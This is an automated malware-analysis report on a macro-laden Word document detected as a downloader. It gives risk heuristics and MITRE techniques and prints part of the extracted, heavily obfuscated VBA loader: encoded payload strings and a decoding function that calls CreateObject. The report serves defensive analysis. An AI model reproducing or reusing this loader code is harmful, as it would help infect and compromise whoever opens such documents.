MALICIOUS
402
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
T1566.001 Spearphishing Attachment
This OOXML document contains heavily obfuscated VBA macros, including an auto-executing loader that uses CreateObject and execution functions. The script attempts to download and execute a second-stage payload, as indicated by the ClamAV detection and the presence of obfuscated string concatenations that likely form URLs or commands. The primary technique observed is the use of Visual Basic for Application (T1059.005) to achieve execution, likely delivered via Spearphishing Attachment (T1566.001).
Heuristics 9
-
ClamAV: Doc.Downloader.Generic-6698421-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.Generic-6698421-0
-
VBA project inside OOXML medium 6 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADERAuto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Workbook_Open macro high OLE_VBA_WBOPENWorkbook_Open macro
-
Auto_Open macro high OLE_VBA_AUTOAuto_Open macro
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject call
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 30463 bytes |
SHA-256: c7b43b587f0f2ad2c6ec61ea29f22c3cc5ff695f662d2263b82f584f39a0d2c9 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "NewMacros"
Public CCsZSDpMGWkuHNGfNTSVWL As String
Public llll As String
Public IIII As String
Sub EwQmJRvAIJdhPcf()
CCsZSDpMGWkuHNGfNTSVWL = hBSJBlm("wzglswx2i|i")
llll = hBSJBlm("")
IIII = hBSJBlm("")
llll = llll & hBSJBlm("3SmNEEEE]MrpQhNom5M{m5MQm5MYm7MsH;hONnL3QgGwTKJ<Em{k{g<REgjm<JN\m5MUm4M<EhGPULmJ{LVOEhFUm4k]m5kkEhTn")
llll = llll & hBSJBlm("TIqPRMwF5nL3QgGw{g<REgg88L\4E778S74ohiN]m5koEhRqm{|Pm5kgEhSPFMwF4MpINGVf[6J^[pL38Jlj[swW:8^heK9phEFs")
llll = llll & hBSJBlm("h6pyeZVsXLgqF33Z:EEEEEE|35h\Z5h\eHt[iej35iqoEEEE[~LNYZJuE5JVePwFEEFXYKl\m^3K3=ZU:]{EEEFfQhNWeEE}{MVW")
llll = llll & hBSJBlm("YpNXYpFs:5YyS33ZmgeH{5FskHQEEMrkekVUel=[eLZKrsf35Z<|35h\ez=XZqkxFll;3=[J{E/I}kIEEHL3lj^4FMr9:{psuw\m")
llll = llll & hBSJBlm("\j3ZmgJsVWJiQj3ZQj=\ekhVZpFsx5jkG33Zz{EzEEE9|7YL[JHti3333~L3:^IFEEHt}UIEESlz3333P5J]gIQEN:8OJQ7kE\N7")
llll = llll & hBSJBlm(":/wp;^HGo^jurvim5M6pu3;^g7u^5|6iHJv\mmV/qZUMq<pExVR^}9q\{7IpWH[Qu5fo:Xh{;|v\vq4R|ZSY6kFZg6Z}PYJr^[94")
llll = llll & hBSJBlm("SmFRf7ttfK|lP~YyQGEsZ6py^K=7g}FSZGE6PnI;MJhTZ~]4S}FYgqpo^[94P~gyQHwkgr]:QXIyQGokfKpv^WFL^[Rvf{4OEF=L")
llll = llll & hBSJBlm("^ewe{jzGyJiS5K\/iXQx;/mNtQSX6z~jnVj9I[ILeMhG{X9;oiZ4yUm43WPq7ZQGgN3L~eoUmqeLO~rkRxWgexPl^Y9enZ};{6jI")
llll = llll & hBSJBlm("\yjlOgF^Fy8^ophGZOr6\8OlIhgRptSFmnL{4Omg^mPREUotyQ595QI[kKo\eL/QZp[mSrVLe^9t{Ul~Ki|W<Wf/lT5~~Exm<z6~")
llll = llll & hBSJBlm("ONRMk9GqQ;Trpwk{zU\HeYVVUMYj9~JlSEm9LRJ=OPjK6KN{U<KEr<sWO4<Zpe<[5=74e|Pl:T7xH}MseIWv5}=J8F8EeTG5spf3")
llll = llll & hB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jH=oExkw")
IIII = IIII & hBSJBlm("HggZws[R/vMIeW^WPPULQrtHv\r8QF[Hlx]~GGWP9<^=x^Ss~Pq^rxW[JYZN8xkYvIJ[;\NUptoqIJzfLkXYKfuusV^zK]}xZnhy")
IIII = IIII & hBSJBlm("jT;smxLt4z8LE5S]IPMWm}]MQ<s/O;g/8hWxjRs49XuOS3mug]peG~5RO9/mIWOSKYVY6P]oSZU3s3F\8O6;ORzTKPkEeTG5spf3")
IIII = IIII & hBSJBlm("5[tEeEEUEEFsEEFEEJhs[OVX9j3Zo;oEEEEEEhpVY8rrZ6kEMEEEY5^sIteN8z3ZlgF4|swLEgSJ{L\p[QTsmj7336^lfqhqh\tt")
llll = llll & hBSJBlm("fKp~hG9ni[=5EFM4ZrkA")
IIII = IIII & hBSJBlm("Pq^w]\Rs^Kplf7p5PrF7EFM4ZrkA")
End Sub
Private Function YQQMUSMDxxDNKiwBEN(cxhvsNAMv)
On Error Resume Next
Dim gMDKP, yyBhLIwuUwdThuvSK
Set gMDKP = CreateObject(hBSJBlm("Qmgvswsjx2\QPHSQ"))
Set yyBhLIwuUwdThuvSK = gMDKP.createElement(hBSJBlm("xqt"))
yyBhLIwuUwdThuvSK.DataType = hBSJBlm("fmr2li|")
yyBhLIwuUwdThuvSK.Text = cxhvsNAMv
YQQMUSMDxxDNKiwBEN = yyBhLIwuUwdThuvSK.NodeTypedValue
End Function
Function iSajNIlrgNvsUEHwJ()
Dim PEWCWPQ
PEWCWPQ = hBSJBlm("4445444444JJJJJJJJ45444
... (truncated)
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 51712 bytes |
SHA-256: bd272d4b9455d069d38e74b0f87cac0ab7e6b434dece82d7a0d70f39c6531d7b |
|||
|
Detection
ClamAV:
Doc.Downloader.Generic-6698421-0
Obfuscation or payload:
unlikely
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.